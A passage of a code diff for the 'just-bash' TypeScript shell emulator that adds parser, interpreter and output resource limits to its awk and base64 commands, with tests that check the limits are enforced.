+  getlineCommandStreams: Map<string, { lines: string[]; index: number }>;
+  getlineFileStreams: Map<string, { lines: string[]; index: number }>;
   fieldSep: RegexLike;
 
   // Execution limits
   maxIterations: number;
   maxRecursionDepth: number;
   maxOutputSize: number;
+  maxArrayElements: number;
+  arrayElementCount: number;
+  recordsProcessed: number;
   currentRecursionDepth: number;
 
   // Control flow
@@ -92,7 +98,7 @@ export interface AwkRuntimeContext {
   // Feature coverage writer for fuzzing instrumentation
   coverage?: FeatureCoverageWriter;
 
-  // Defense context invariant flag propagated from CommandContext
+  // Defense context invariant flag propagated from RuntimeCommandContext
   requireDefenseContext?: boolean;
 }
 
@@ -101,6 +107,7 @@ export interface CreateContextOptions {
   maxIterations?: number;
   maxRecursionDepth?: number;
   maxOutputSize?: number;
+  maxArrayElements?: number;
   fs?: AwkFileSystem;
   cwd?: string;
   exec?: (
@@ -118,6 +125,7 @@ export function createRuntimeContext(
     maxIterations = DEFAULT_MAX_ITERATIONS,
     maxRecursionDepth = DEFAULT_MAX_RECURSION_DEPTH,
     maxOutputSize = 0,
+    maxArrayElements = 100_000,
     fs,
     cwd,
     exec,
@@ -152,11 +160,16 @@ export function createRuntimeContext(
     ENVIRON: Object.create(null) as Record<string, string>,
 
     functions: new Map(),
+    getlineCommandStreams: new Map(),
+    getlineFileStreams: new Map(),
 
     fieldSep,
     maxIterations,
     maxRecursionDepth,
     maxOutputSize,
+    maxArrayElements,
+    arrayElementCount: 0,
+    recordsProcessed: 0,
     currentRecursionDepth: 0,
 
     exitCode: 0,
diff --git a/packages/just-bash/src/commands/awk/interpreter/expressions.ts b/packages/just-bash/src/commands/awk/interpreter/expressions.ts
index b845ef30..5f2bafa8 100644
--- a/packages/just-bash/src/commands/awk/interpreter/expressions.ts
+++ b/packages/just-bash/src/commands/awk/interpreter/expressions.ts
@@ -716,14 +716,8 @@ async function evalGetlineFromCommand(
     ),
   );
 
-  // Use a cache for command output, similar to file caching
-  const cacheKey = `__cmd_${cmd}`;
-  const indexKey = `__cmdi_${cmd}`;
-
-  let lines: string[];
-  let lineIndex: number;
-
-  if (ctx.vars[cacheKey] === undefined) {
+  let stream = ctx.getlineCommandStreams.get(cmd);
+  if (!stream) {
     // First time running this command
     try {
       const result = await withDefenseContext(ctx, "getline command exec", () =>
@@ -732,35 +726,29 @@ async function evalGetlineFromCommand(
       // awk processes lines with regex / FS — decode bytes to UTF-8 so
       // `getline cmd |` from a piped command keeps multibyte fields whole.
       const output = decodeBytesToUtf8(unsafeBytesFromLatin1(result.stdout));
-      lines = output.split("\n");
+      const lines = output.split("\n");
       // Remove trailing empty line if output ends with newline
       if (lines.length > 0 && lines[lines.length - 1] === "") {
         lines.pop();
       }
-      // Store in cache
-      ctx.vars[cacheKey] = JSON.stringify(lines);
-      ctx.vars[indexKey] = -1;
-      lineIndex = -1;
+      stream = { lines, index: -1 };
+      ctx.getlineCommandStreams.set(cmd, stream);
     } catch (e) {
       if (e instanceof SecurityViolationError) {
         throw e;
       }
       return -1; // Error running command
     }
-  } else {
-    // Command already cached
-    lines = JSON.parse(ctx.vars[cacheKey] as string);
-    lineIndex = ctx.vars[indexKey] as number;
   }
 
   // Get next line
-  const nextIndex = lineIndex + 1;
-  if (nextIndex >= lines.length) {
+  const nextIndex = stream.index + 1;
+  if (nextIndex >= stream.lines.length) {
     return 0; // EOF
   }
 
-  const line = lines[nextIndex];
-  ctx.vars[indexKey] = nextIndex;
+  const line = stream.lines[nextIndex];
+  stream.index = nextIndex;
 
   if (variable) {
     setVariable(ctx, variable, line);
@@ -800,50 +788,36 @@ async function evalGetlineFromFile(
 
   const filePath = fs.resolvePath(ctx.cwd, filename);
 
-  // Use a special internal structure to track file state
-  // Store as: __file_lines__[filename] = "line1\nline2\n..." (content)
-  // Store as: __file_index__[filename] = current line index
-  const cacheKey = `__fc_${filePath}`;
-  const indexKey = `__fi_${filePath}`;
-
-  let lines: string[];
-  let lineIndex: number;
-
-  if (ctx.vars[cacheKey] === undefined) {
+  let stream = ctx.getlineFileStreams.get(filePath);
+  if (!stream) {
     // First time reading this file
     try {
       const content = await withDefenseContext(ctx, "getline file read", () =>
         fs.readFile(filePath),
       );
-      lines = content.split("\n");
+      const lines = content.split("\n");
       // Remove trailing empty line if file ends with newline
       if (lines.length > 0 && lines[lines.length - 1] === "") {
         lines.pop();
       }
-      // Store in cache (as JSON for simplicity)
-      ctx.vars[cacheKey] = JSON.stringify(lines);
-      ctx.vars[indexKey] = -1;
-      lineIndex = -1;
+      stream = { lines, index: -1 };
+      ctx.getlineFileStreams.set(filePath, stream);
     } catch (e) {
       if (e instanceof SecurityViolationError) {
         throw e;
       }
       return -1; // Error reading file
     }
-  } else {
-    // File already cached
-    lines = JSON.parse(ctx.vars[cacheKey] as string);
-    lineIndex = ctx.vars[indexKey] as number;
   }
 
   // Get next line
-  const nextIndex = lineIndex + 1;
-  if (nextIndex >= lines.length) {
+  const nextIndex = stream.index + 1;
+  if (nextIndex >= stream.lines.length) {
     return 0; // EOF
   }
 
-  const line = lines[nextIndex];
-  ctx.vars[indexKey] = nextIndex;
+  const line = stream.lines[nextIndex];
+  stream.index = nextIndex;
 
   if (variable) {
     setVariable(ctx, variable, line);
diff --git a/packages/just-bash/src/commands/awk/interpreter/interpreter.ts b/packages/just-bash/src/commands/awk/interpreter/interpreter.ts
index 65c83700..ef0398e2 100644
--- a/packages/just-bash/src/commands/awk/interpreter/interpreter.ts
+++ b/packages/just-bash/src/commands/awk/interpreter/interpreter.ts
@@ -4,6 +4,7 @@
  * Main interpreter class that orchestrates AWK program execution.
  */
 
+import { ExecutionLimitError } from "../../../interpreter/errors.js";
 import {
   assertDefenseContext as assertDefenseContextInvariant,
   awaitWithDefenseContext,
@@ -82,6 +83,14 @@ export class AwkInterpreter {
     this.assertDefenseContext("line execution entry");
     if (!this.program || this.ctx.shouldExit) return;
 
+    this.ctx.recordsProcessed++;
+    if (this.ctx.recordsProcessed > this.ctx.maxIterations) {
+      throw new ExecutionLimitError(
+        `record limit exceeded (${this.ctx.maxIterations})`,
+        "iterations",
+      );
+    }
+
     // Update context with new line
     setCurrentLine(this.ctx, line);
     this.ctx.NR++;
diff --git a/packages/just-bash/src/commands/awk/interpreter/statements.ts b/packages/just-bash/src/commands/awk/interpreter/statements.ts
index d065e3ea..c56b46f2 100644
--- a/packages/just-bash/src/commands/awk/interpreter/statements.ts
+++ b/packages/just-bash/src/commands/awk/interpreter/statements.ts
@@ -9,6 +9,7 @@ import {
   assertDefenseContext,
   awaitWithDefenseContext,
 } from "../../../security/defense-context.js";
+import { utf8ByteLength } from "../../printf/escapes.js";
 import type { AwkArrayAccess, AwkExpr, AwkStmt, AwkVariable } from "../ast.js";
 import { formatPrintf } from "../builtins.js";
 import type { AwkRuntimeContext } from "./context.js";
@@ -214,7 +215,9 @@ async function executePrint(
       if (Number.isInteger(val) && Math.abs(val) < Number.MAX_SAFE_INTEGER) {
         values.push(String(val));
       } else {
-        values.push(formatPrintf(ctx.OFMT, [val]));
+        values.push(
+          formatPrintf(ctx.OFMT, [val], ctx.maxOutputSize || undefined),
+        );
       }
     } else {
       values.push(toAwkString(val));
@@ -256,7 +259,11 @@ async function executePrintf(
     );
   }
   // DEBUG: console.log("printf DEBUG:", JSON.stringify({formatStr, values}));
-  const text = formatPrintf(formatStr, values);
+  const remainingOutput =
+    ctx.maxOutputSize > 0
+      ? Math.max(0, ctx.maxOutputSize - utf8ByteLength(ctx.output))
+      : undefined;
+  const text = formatPrintf(formatStr, values, remainingOutput);
 
   if (output) {
     await withDefenseContext(ctx, "printf redirection write", () =>
diff --git a/packages/just-bash/src/commands/awk/interpreter/variables.ts b/packages/just-bash/src/commands/awk/interpreter/variables.ts
index 879edf02..32f70ad8 100644
--- a/packages/just-bash/src/commands/awk/interpreter/variables.ts
+++ b/packages/just-bash/src/commands/awk/interpreter/variables.ts
@@ -4,6 +4,7 @@
  * Handles user variables, built-in variables, and arrays.
  */
 
+import { ExecutionLimitError } from "../../../interpreter/errors.js";
 import type { AwkRuntimeContext } from "./context.js";
 import { setFieldSeparator } from "./fields.js";
 import { toAwkString, toNumber } from "./type-coercion.js";
@@ -153,6 +154,15 @@ export function setArrayElement(
     // Use null-prototype to prevent prototype pollution with user-controlled keys
     ctx.arrays[resolvedArray] = Object.create(null);
   }
+  if (!(key in ctx.arrays[resolvedArray])) {
+    if (ctx.arrayElementCount >= ctx.maxArrayElements) {
+      throw new ExecutionLimitError(
+        `array element limit exceeded (${ctx.maxArrayElements})`,
+        "array_elements",
+      );
+    }
+    ctx.arrayElementCount++;
+  }
   ctx.arrays[resolvedArray][key] = value;
 }
 
@@ -186,6 +196,7 @@ export function deleteArrayElement(
   // Resolve aliases for function parameter passing
   const resolvedArray = resolveArrayName(ctx, array);
   if (ctx.arrays[resolvedArray]) {
+    if (key in ctx.arrays[resolvedArray]) ctx.arrayElementCount--;
     delete ctx.arrays[resolvedArray][key];
   }
 }
@@ -196,5 +207,6 @@ export function deleteArrayElement(
 export function deleteArray(ctx: AwkRuntimeContext, array: string): void {
   // Resolve aliases for function parameter passing
   const resolvedArray = resolveArrayName(ctx, array);
+  ctx.arrayElementCount -= Object.keys(ctx.arrays[resolvedArray] ?? {}).length;
   delete ctx.arrays[resolvedArray];
 }
diff --git a/packages/just-bash/src/commands/awk/lexer.ts b/packages/just-bash/src/commands/awk/lexer.ts
index c2830181..760ebb80 100644
--- a/packages/just-bash/src/commands/awk/lexer.ts
+++ b/packages/just-bash/src/commands/awk/lexer.ts
@@ -4,6 +4,8 @@
  * Tokenizes AWK source code into a stream of tokens.
  */
 
+import { ExecutionLimitError } from "../../interpreter/errors.js";
+
 export enum TokenType {
   // Literals
   NUMBER = "NUMBER",
@@ -165,7 +167,10 @@ export class AwkLexer {
   private column = 1;
   private lastTokenType: TokenType | null = null;
 
-  constructor(input: string) {
+  constructor(
+    input: string,
+    private readonly maxTokens = 100_000,
+  ) {
     this.input = input;
   }
 
@@ -174,10 +179,22 @@ export class AwkLexer {
     while (this.pos < this.input.length) {
       const token = this.nextToken();
       if (token) {
+        if (tokens.length >= this.maxTokens) {
+          throw new ExecutionLimitError(
+            `awk: token limit exceeded (${this.maxTokens})`,
+            "array_elements",
+          );
+        }
         tokens.push(token);
         this.lastTokenType = token.type;
       }
     }
+    if (tokens.length >= this.maxTokens) {
+      throw new ExecutionLimitError(
+        `awk: token limit exceeded (${this.maxTokens})`,
+        "array_elements",
+      );
+    }
     tokens.push(this.makeToken(TokenType.EOF, ""));
     return tokens;
   }
@@ -228,6 +245,19 @@ export class AwkLexer {
   private nextToken(): Token | null {
     this.skipWhitespace();
 
+    // A continuation may contain arbitrarily many blank lines. Consume them
+    // iteratively: recursively calling nextToken() once per newline makes a
+    // small, valid AWK program capable of exhausting the host stack before the
+    // parser's configured depth and operation limits run.
+    while (
+      this.peek() === "\n" &&
+      this.lastTokenType !== null &&
+      CONTINUES_ACROSS_NEWLINE.has(this.lastTokenType)
+    ) {
+      this.advance();
+      this.skipWhitespace();
+    }
+
     if (this.pos >= this.input.length) {
       return null;
     }
@@ -243,16 +273,10 @@ export class AwkLexer {
     // like `printf "%s=%d\n", $1, $2` written across multiple lines
     // (a comma at end-of-line followed by indented args) parses as two
     // statements with a NEWLINE in the middle, surfacing as
-    // `Unexpected token: NEWLINE`. We swallow the newline and recurse to
-    // the next real token when it follows a continuation-allowing token.
+    // `Unexpected token: NEWLINE`. Continuation newlines were swallowed by
+    // the iterative loop above.
     if (ch === "\n") {
       this.advance();
-      if (
-        this.lastTokenType !== null &&
-        CONTINUES_ACROSS_NEWLINE.has(this.lastTokenType)
-      ) {
-        return this.nextToken();
-      }
       return {
         type: TokenType.NEWLINE,
         value: "\n",
diff --git a/packages/just-bash/src/commands/awk/parser2-print.ts b/packages/just-bash/src/commands/awk/parser2-print.ts
index 84743b9b..08843b42 100644
--- a/packages/just-bash/src/commands/awk/parser2-print.ts
+++ b/packages/just-bash/src/commands/awk/parser2-print.ts
@@ -32,6 +32,9 @@ export interface PrintParserContext {
   parsePrimary(): AwkExpr;
   parseAddSub(): AwkExpr;
   setPos(pos: number): void;
+  useOperation(count?: number): void;
+  withDepth<T>(operation: () => T): T;
+  assertArrayLength(length: number): void;
 }
 
 // Token type values for use in this module
@@ -99,9 +102,11 @@ export function parsePrintStatement(p: PrintParserContext): AwkStmt {
   } else {
     // Parse print arguments - use parsePrintArg to stop before > and >>
     // In AWK, > and >> at print level are redirection, not comparison
+    p.assertArrayLength(args.length);
     args.push(parsePrintArg(p));
     while (p.check(TokenTypes.COMMA as TokenType)) {
       p.advance();
+      p.assertArrayLength(args.length);
       args.push(parsePrintArg(p));
     }
   }
@@ -161,7 +166,7 @@ function parsePrintAssignment(
     )
   ) {
     const opToken = p.advance();
-    const value = parsePrintAssignment(p, allowGt);
+    const value = p.withDepth(() => parsePrintAssignment(p, allowGt));
 
     if (
       expr.type !== "variable" &&
@@ -204,6 +209,7 @@ function lookAheadForTernary(p: PrintParserContext): boolean {
   let i = p.pos;
 
   while (i < p.tokens.length) {
+    p.useOperation();
     const token = p.tokens[i];
 
     // Track parentheses depth
@@ -407,6 +413,7 @@ export function parsePrintfStatement(p: PrintParserContext): AwkStmt {
     if (hasParens) {
       p.skipNewlines();
     }
+    p.assertArrayLength(args.length);
     args.push(hasParens ? p.parseExpression() : parsePrintArg(p));
   }
 
diff --git a/packages/just-bash/src/commands/awk/parser2.resource-limits.test.ts b/packages/just-bash/src/commands/awk/parser2.resource-limits.test.ts
new file mode 100644
index 00000000..563bff96
--- /dev/null
+++ b/packages/just-bash/src/commands/awk/parser2.resource-limits.test.ts
@@ -0,0 +1,38 @@
+import { describe, expect, it } from "vitest";
+import { ExecutionLimitError } from "../../interpreter/errors.js";
+import { AwkParser } from "./parser2.js";
+
+describe("AWK parser resource limits", () => {
+  it("rejects excessive delimiter nesting before recursive parsing", () => {
+    const parser = new AwkParser({ maxDepth: 8 });
+    const nested = `${"(".repeat(9)}1${")".repeat(9)}`;
+
+    expect(() => parser.parse(`BEGIN { print ${nested} }`)).toThrow(
+      ExecutionLimitError,
+    );
+  });
+
+  it("bounds lexer tokens before retaining another token", () => {
+    const parser = new AwkParser({ maxTokens: 12 });
+
+    expect(() => parser.parse("BEGIN { print 1, 2, 3, 4, 5, 6 }")).toThrowError(
+      /token limit exceeded/,
+    );
+  });
+
+  it("charges print lookahead against the shared parser work budget", () => {
+    const parser = new AwkParser({ maxOperations: 30 });
+
+    expect(() =>
+      parser.parse("BEGIN { print a + b + c + d + e ? 1 : 0 }"),
+    ).toThrowError(/parser operation limit exceeded/);
+  });
+
+  it("consumes repeated continuation newlines without host recursion", () => {
+    const parser = new AwkParser({ maxSourceLength: 100_000 });
+
+    expect(() =>
+      parser.parse(`BEGIN {${"\n".repeat(20_000)}print 1 }`),
+    ).not.toThrow();
+  });
+});
diff --git a/packages/just-bash/src/commands/awk/parser2.ts b/packages/just-bash/src/commands/awk/parser2.ts
index 68041cda..7c9453c8 100644
--- a/packages/just-bash/src/commands/awk/parser2.ts
+++ b/packages/just-bash/src/commands/awk/parser2.ts
@@ -4,6 +4,7 @@
  * Recursive descent parser that builds an AST from tokens.
  */
 
+import { ExecutionLimitError } from "../../interpreter/errors.js";
 import type {
   AwkArrayAccess,
   AwkBlock,
@@ -19,14 +20,64 @@ import type {
 import { AwkLexer, type Token, TokenType } from "./lexer.js";
 import { parsePrintfStatement, parsePrintStatement } from "./parser2-print.js";
 
+export interface AwkParserLimits {
+  maxSourceLength?: number;
+  maxTokens?: number;
+  maxDepth?: number;
+  maxOperations?: number;
+}
+
 export class AwkParser {
   tokens: Token[] = [];
   pos = 0;
+  private depth = 0;
+  private operations = 0;
+  private readonly limits: Required<AwkParserLimits>;
+
+  constructor(limits: AwkParserLimits = {}) {
+    this.limits = {
+      maxSourceLength: limits.maxSourceLength ?? 10 * 1024 * 1024,
+      maxTokens: limits.maxTokens ?? 100_000,
+      maxDepth: limits.maxDepth ?? 100,
+      maxOperations: limits.maxOperations ?? 100_000,
+    };
+  }
 
   parse(input: string): AwkProgram {
-    const lexer = new AwkLexer(input);
+    if (input.length > this.limits.maxSourceLength) {
+      throw new ExecutionLimitError(
+        `awk: source length limit exceeded (${this.limits.maxSourceLength})`,
+        "string_length",
+      );
+    }
+    const lexer = new AwkLexer(input, this.limits.maxTokens);
     this.tokens = lexer.tokenize();
     this.pos = 0;
+    this.depth = 0;
+    this.operations = 0;
+    let delimiterDepth = 0;
+    for (const token of this.tokens) {
+      this.useOperation();
+      if (
+        token.type === TokenType.LPAREN ||
+        token.type === TokenType.LBRACKET ||
+        token.type === TokenType.LBRACE
+      ) {
+        delimiterDepth++;
+        if (delimiterDepth > this.limits.maxDepth) {
+          throw new ExecutionLimitError(
+            `awk: parser depth limit exceeded (${this.limits.maxDepth})`,
+            "recursion",
+          );
+        }
+      } else if (
+        token.type === TokenType.RPAREN ||
+        token.type === TokenType.RBRACKET ||
+        token.type === TokenType.RBRACE
+      ) {
+        delimiterDepth = Math.max(0, delimiterDepth - 1);
+      }
+    }
     return this.parseProgram();
   }
 
@@ -48,6 +99,7 @@ export class AwkParser {
   }
 
   advance(): Token {
+    this.useOperation();
     const token = this.current();
     if (this.pos < this.tokens.length) {
       this.pos++;
@@ -55,6 +107,40 @@ export class AwkParser {
     return token;
   }
 
+  useOperation(count = 1): void {
+    if (count > this.limits.maxOperations - this.operations) {
+      throw new ExecutionLimitError(
+        `awk: parser operation limit exceeded (${this.limits.maxOperations})`,
+        "iterations",
+      );
+    }
+    this.operations += count;
+  }
+
+  withDepth<T>(operation: () => T): T {
+    if (this.depth >= this.limits.maxDepth) {
+      throw new ExecutionLimitError(
+        `awk: parser depth limit exceeded (${this.limits.maxDepth})`,
+        "recursion",
+      );
+    }
+    this.depth++;
+    try {
+      return operation();
+    } finally {
+      this.depth--;
+    }
+  }
+
+  assertArrayLength(length: number): void {
+    if (length >= this.limits.maxTokens) {
+      throw new ExecutionLimitError(
+        `awk: AST array limit exceeded (${this.limits.maxTokens})`,
+        "array_elements",
+      );
+    }
+  }
+
   match(...types: TokenType[]): boolean {
     return types.includes(this.current().type);
   }
@@ -255,6 +341,11 @@ export class AwkParser {
   // ─── Statement parsing ─────────────────────────────────────
 
   private parseStatement(): AwkStmt {
+    return this.withDepth(() => this.parseStatementAtDepth());
+  }
+
+  /** Parse one statement after reserving host-stack depth. */
+  private parseStatementAtDepth(): AwkStmt {
     // Empty statement (just semicolon or newline before actual statement)
     if (this.check(TokenType.SEMICOLON) || this.check(TokenType.NEWLINE)) {
       this.advance();
@@ -461,7 +552,7 @@ export class AwkParser {
   // ─── Expression parsing (precedence climbing) ──────────────
 
   parseExpression(): AwkExpr {
-    return this.parseAssignment();
+    return this.withDepth(() => this.parseAssignment());
   }
 
   private parseAssignment(): AwkExpr {
@@ -479,7 +570,7 @@ export class AwkParser {
       )
     ) {
       const opToken = this.advance();
-      const value = this.parseAssignment();
+      const value = this.parseExpression();
 
       if (
         expr.type !== "variable" &&
@@ -760,7 +851,7 @@ export class AwkParser {
     // Prefix increment/decrement
     if (this.check(TokenType.INCREMENT)) {
       this.advance();
-      const operand = this.parseUnary();
+      const operand = this.withDepth(() => this.parseUnary());
       if (
         operand.type !== "variable" &&
         operand.type !== "field" &&
@@ -782,7 +873,7 @@ export class AwkParser {
 
     if (this.check(TokenType.DECREMENT)) {
       this.advance();
-      const operand = this.parseUnary();
+      const operand = this.withDepth(() => this.parseUnary());
       if (
         operand.type !== "variable" &&
         operand.type !== "field" &&
@@ -806,7 +897,7 @@ export class AwkParser {
     // In AWK, -2^2 = -(2^2) = -4, so unary binds looser than exponent
     if (this.match(TokenType.NOT, TokenType.MINUS, TokenType.PLUS)) {
       const op = this.advance().value as "!" | "-" | "+";
-      const operand = this.parseUnary();
+      const operand = this.withDepth(() => this.parseUnary());
       return { type: "unary", operator: op, operand };
     }
 
@@ -821,7 +912,7 @@ export class AwkParser {
       // Exponent is right-associative, and binds tighter than unary
       // So 2^3^2 = 2^(3^2) = 2^9 = 512
       // But -2^2 = -(2^2) = -4 (unary handled in parseUnary)
-      const right = this.parsePower();
+      const right = this.withDepth(() => this.parsePower());
       left = { type: "binary", operator: "^", left, right };
     }
 
@@ -875,7 +966,7 @@ export class AwkParser {
     // Prefix increment/decrement for field index
     if (this.check(TokenType.INCREMENT)) {
       this.advance();
-      const operand = this.parseFieldIndex();
+      const operand = this.withDepth(() => this.parseFieldIndex());
       if (
         operand.type !== "variable" &&
         operand.type !== "field" &&
@@ -895,7 +986,7 @@ export class AwkParser {
 
     if (this.check(TokenType.DECREMENT)) {
       this.advance();
-      const operand = this.parseFieldIndex();
+      const operand = this.withDepth(() => this.parseFieldIndex());
       if (
         operand.type !== "variable" &&
         operand.type !== "field" &&
@@ -916,7 +1007,7 @@ export class AwkParser {
     // Unary operators (-, +, !)
     if (this.match(TokenType.NOT, TokenType.MINUS, TokenType.PLUS)) {
       const op = this.advance().value as "!" | "-" | "+";
-      const operand = this.parseFieldIndex();
+      const operand = this.withDepth(() => this.parseFieldIndex());
       return { type: "unary", operator: op, operand };
     }
 
@@ -932,7 +1023,7 @@ export class AwkParser {
 
     if (this.check(TokenType.CARET)) {
       this.advance();
-      const right = this.parseFieldIndexPower();
+      const right = this.withDepth(() => this.parseFieldIndexPower());
       left = { type: "binary", operator: "^", left, right };
     }
 
diff --git a/packages/just-bash/src/commands/base64/base64.test.ts b/packages/just-bash/src/commands/base64/base64.test.ts
index d909079e..81c714e4 100644
--- a/packages/just-bash/src/commands/base64/base64.test.ts
+++ b/packages/just-bash/src/commands/base64/base64.test.ts
@@ -108,6 +108,43 @@ describe("base64", () => {
   });
 
   describe("error handling", () => {
+    it("rejects input that exceeds maxStringLength before encoding", async () => {
+      const env = new Bash({
+        files: { "/large": "123456789" },
+        executionLimits: { maxStringLength: 8 },
+      });
+      const result = await env.exec("base64 /large");
+      expect(result.exitCode).toBe(126);
+      expect(result.stderr).toContain("input size limit exceeded");
+    });
+
+    it("rejects encoded output that would exceed maxOutputSize", async () => {
+      const env = new Bash({
+        files: { "/six": "123456" },
+        executionLimits: { maxOutputSize: 8 },
+      });
+      const result = await env.exec("base64 /six");
+      expect(result.exitCode).toBe(126);
+      expect(result.stderr).toContain("output size limit exceeded");
+    });
+
+    it("rejects unsafe wrap sizes", async () => {
+      const env = new Bash();
+      const result = await env.exec("base64 -w -1");
+      expect(result.exitCode).toBe(1);
+      expect(result.stderr).toContain("invalid wrap size");
+    });
+
+    it("rejects wrap widths that would create too many fragments", async () => {
+      const env = new Bash({
+        files: { "/data": "abc" },
+        executionLimits: { maxArrayElements: 3 },
+      });
+      const result = await env.exec("base64 -w 1 /data");
+      expect(result.exitCode).toBe(126);
+      expect(result.stderr).toContain("wrapped line limit exceeded");
+    });
+
     it("should error on missing file", async () => {
       const env = new Bash();
       const result = await env.exec("base64 /nonexistent.txt");
diff --git a/packages/just-bash/src/commands/base64/base64.ts b/packages/just-bash/src/commands/base64/base64.ts
index 0e113a60..dba5f335 100644
--- a/packages/just-bash/src/commands/base64/base64.ts
+++ b/packages/just-bash/src/commands/base64/base64.ts
@@ -3,8 +3,15 @@
  */
 
 import { latin1FromBytes } from "../../encoding.js";
-import type { Command, CommandContext, ExecResult } from "../../types.js";
+import { rethrowFatalExecutionError } from "../../fatal-execution-error.js";
+import { ExecutionLimitError } from "../../interpreter/errors.js";
+import type {
+  ExecResult,
+  RuntimeCommand,
+  RuntimeCommandContext,
+} from "../../types.js";
 import { parseArgs } from "../../utils/args.js";
+import { accountFileInput } from "../../utils/file-reader.js";
 import { hasHelpFlag, showHelp } from "../help.js";
 
 const base64Help = {
@@ -23,36 +30,100 @@ const argDefs = {
   wrap: { short: "w", long: "wrap", type: "number" as const, default: 76 },
 };
 
+function assertWithinLimit(
+  value: number,
+  limit: number,
+  label: string,
+  limitType: "string_length" | "output_size",
+): void {
+  if (value > limit) {
+    throw new ExecutionLimitError(
+      `base64: ${label} limit exceeded (${limit} bytes)`,
+      limitType,
+    );
+  }
+}
+
+function bytesToBinaryString(data: Uint8Array): string {
+  const chunks: string[] = [];
+  const chunkSize = 32 * 1024;
+  for (let offset = 0; offset < data.length; offset += chunkSize) {
+    chunks.push(
+      String.fromCharCode(...data.subarray(offset, offset + chunkSize)),
+    );
+  }
+  return chunks.join("");
+}
+
+function decodedLengthUpperBound(input: string): number {
+  if (input.length === 0) return 0;
+  const padding = input.endsWith("==") ? 2 : input.endsWith("=") ? 1 : 0;
+  return Math.max(0, Math.ceil(input.length / 4) * 3 - padding);
+}
+
 // Helper to read file as binary
 async function readBinary(
-  ctx: CommandContext,
+  ctx: RuntimeCommandContext,
   files: string[],
   cmdName: string,
 ): Promise<{ ok: true; data: Uint8Array } | { ok: false; error: ExecResult }> {
+  const maxInputSize = Math.min(
+    ctx.limits.maxInputBytes,
+    ctx.limits.maxStringLength,
+  );
+  const stdinBinary = latin1FromBytes(ctx.stdin);
   // No files - read from stdin
   if (files.length === 0 || (files.length === 1 && files[0] === "-")) {
+    assertWithinLimit(
+      stdinBinary.length,
+      maxInputSize,
+      "input size",
+      "string_length",
+    );
     // Convert binary string directly to bytes without UTF-8 re-encoding
     return {
       ok: true,
-      data: Uint8Array.from(latin1FromBytes(ctx.stdin), (c) => c.charCodeAt(0)),
+      data: Uint8Array.from(stdinBinary, (c) => c.charCodeAt(0)),
     };
   }
 
   // Read and concatenate all files as binary
   const chunks: Uint8Array[] = [];
+  let totalLength = 0;
   for (const file of files) {
     if (file === "-") {
-      // Convert binary string directly to bytes without UTF-8 re-encoding
-      chunks.push(
-        Uint8Array.from(latin1FromBytes(ctx.stdin), (c) => c.charCodeAt(0)),
+      assertWithinLimit(
+        totalLength + stdinBinary.length,
+        maxInputSize,
+        "input size",
+        "string_length",
       );
+      // Convert binary string directly to bytes without UTF-8 re-encoding
+      chunks.push(Uint8Array.from(stdinBinary, (c) => c.charCodeAt(0)));
+      totalLength += stdinBinary.length;
       continue;
     }
     try {
       const filePath = ctx.fs.resolvePath(ctx.cwd, file);
+      const stat = await ctx.fs.stat(filePath);
+      assertWithinLimit(
+        totalLength + stat.size,
+        maxInputSize,
+        "input size",
+        "string_length",
+      );
       const data = await ctx.fs.readFileBuffer(filePath);
+      assertWithinLimit(
+        totalLength + data.length,
+        maxInputSize,
+        "input size",
+        "string_length",
+      );
+      accountFileInput(ctx, data.length, cmdName);
       chunks.push(data);
-    } catch {
+      totalLength += data.length;
+    } catch (error) {
+      rethrowFatalExecutionError(error);
       return {
         ok: false,
         error: {
@@ -65,7 +136,6 @@ async function readBinary(
   }
 
   // Concatenate all chunks
-  const totalLength = chunks.reduce((sum, chunk) => sum + chunk.length, 0);
   const result = new Uint8Array(totalLength);
   let offset = 0;
   for (const chunk of chunks) {
@@ -76,10 +146,13 @@ async function readBinary(
   return { ok: true, data: result };
 }
 
-export const base64Command: Command = {
+export const base64Command: RuntimeCommand = {
   name: "base64",
 
-  async execute(args: string[], ctx: CommandContext): Promise<ExecResult> {
+  async execute(
+    args: string[],
+    ctx: RuntimeCommandContext,
+  ): Promise<ExecResult> {
     if (hasHelpFlag(args)) {
       return showHelp(base64Help);
     }
@@ -91,6 +164,14 @@ export const base64Command: Command = {
     const wrapCols = parsed.result.flags.wrap;
     const files = parsed.result.positional;
 
+    if (!Number.isSafeInteger(wrapCols) || wrapCols < 0) {
+      return {
+        stdout: "",
+        stderr: "base64: invalid wrap size\n",
+        exitCode: 1,
+      };
+    }
+
     try {
       if (decode) {
         // For decoding, read as text and strip whitespace
@@ -101,7 +182,26 @@ export const base64Command: Command = {
         if (typeof Buffer !== "undefined") {
           const buffer = Buffer.from(readResult.data);
           const cleaned = buffer.toString("utf8").replace(/\s/g, "");
+          const estimatedLength = decodedLengthUpperBound(cleaned);
+          assertWithinLimit(
+            estimatedLength,
+            ctx.limits.maxStringLength,
+            "decoded size",
+            "string_length",
+          );
+          assertWithinLimit(
+            estimatedLength,
+            ctx.limits.maxOutputSize,
+            "output size",
+            "output_size",
+          );
           const decoded = Buffer.from(cleaned, "base64");
+          assertWithinLimit(
+            decoded.length,
+            ctx.limits.maxOutputSize,
+            "output size",
+            "output_size",
+          );
           // Convert to binary string (each char code = byte value)
           // Use Buffer's latin1 encoding which treats each byte as a character
           const result = decoded.toString("latin1");
@@ -114,10 +214,29 @@ export const base64Command: Command = {
         }
 
         // Browser fallback - use binary string (latin1) to preserve bytes for input
-        const input = String.fromCharCode(...readResult.data);
+        const input = bytesToBinaryString(readResult.data);
         const cleaned = input.replace(/\s/g, "");
+        const estimatedLength = decodedLengthUpperBound(cleaned);
+        assertWithinLimit(
+          estimatedLength,
+          ctx.limits.maxStringLength,
+          "decoded size",
+          "string_length",
+        );
+        assertWithinLimit(
+          estimatedLength,
+          ctx.limits.maxOutputSize,
+          "output size",
+          "output_size",
+        );
         // Decode base64 to binary string (each char code = byte value)
         const decoded = atob(cleaned);
+        assertWithinLimit(
+          decoded.length,
+          ctx.limits.maxOutputSize,
+          "output size",
+          "output_size",
+        );
         return {
           stdout: decoded,
           stderr: "",
@@ -130,6 +249,30 @@ export const base64Command: Command = {
       const readResult = await readBinary(ctx, files, "base64");
       if (!readResult.ok) return readResult.error;
 
+      const encodedLength = Math.ceil(readResult.data.length / 3) * 4;
+      const newlineCount =
+        wrapCols > 0 && encodedLength > 0
+          ? Math.ceil(encodedLength / wrapCols)
+          : 0;
+      if (newlineCount > ctx.limits.maxArrayElements) {
+        throw new ExecutionLimitError(
+          `base64: wrapped line limit exceeded (${ctx.limits.maxArrayElements})`,
+          "array_elements",
+        );
+      }
+      assertWithinLimit(
+        encodedLength,
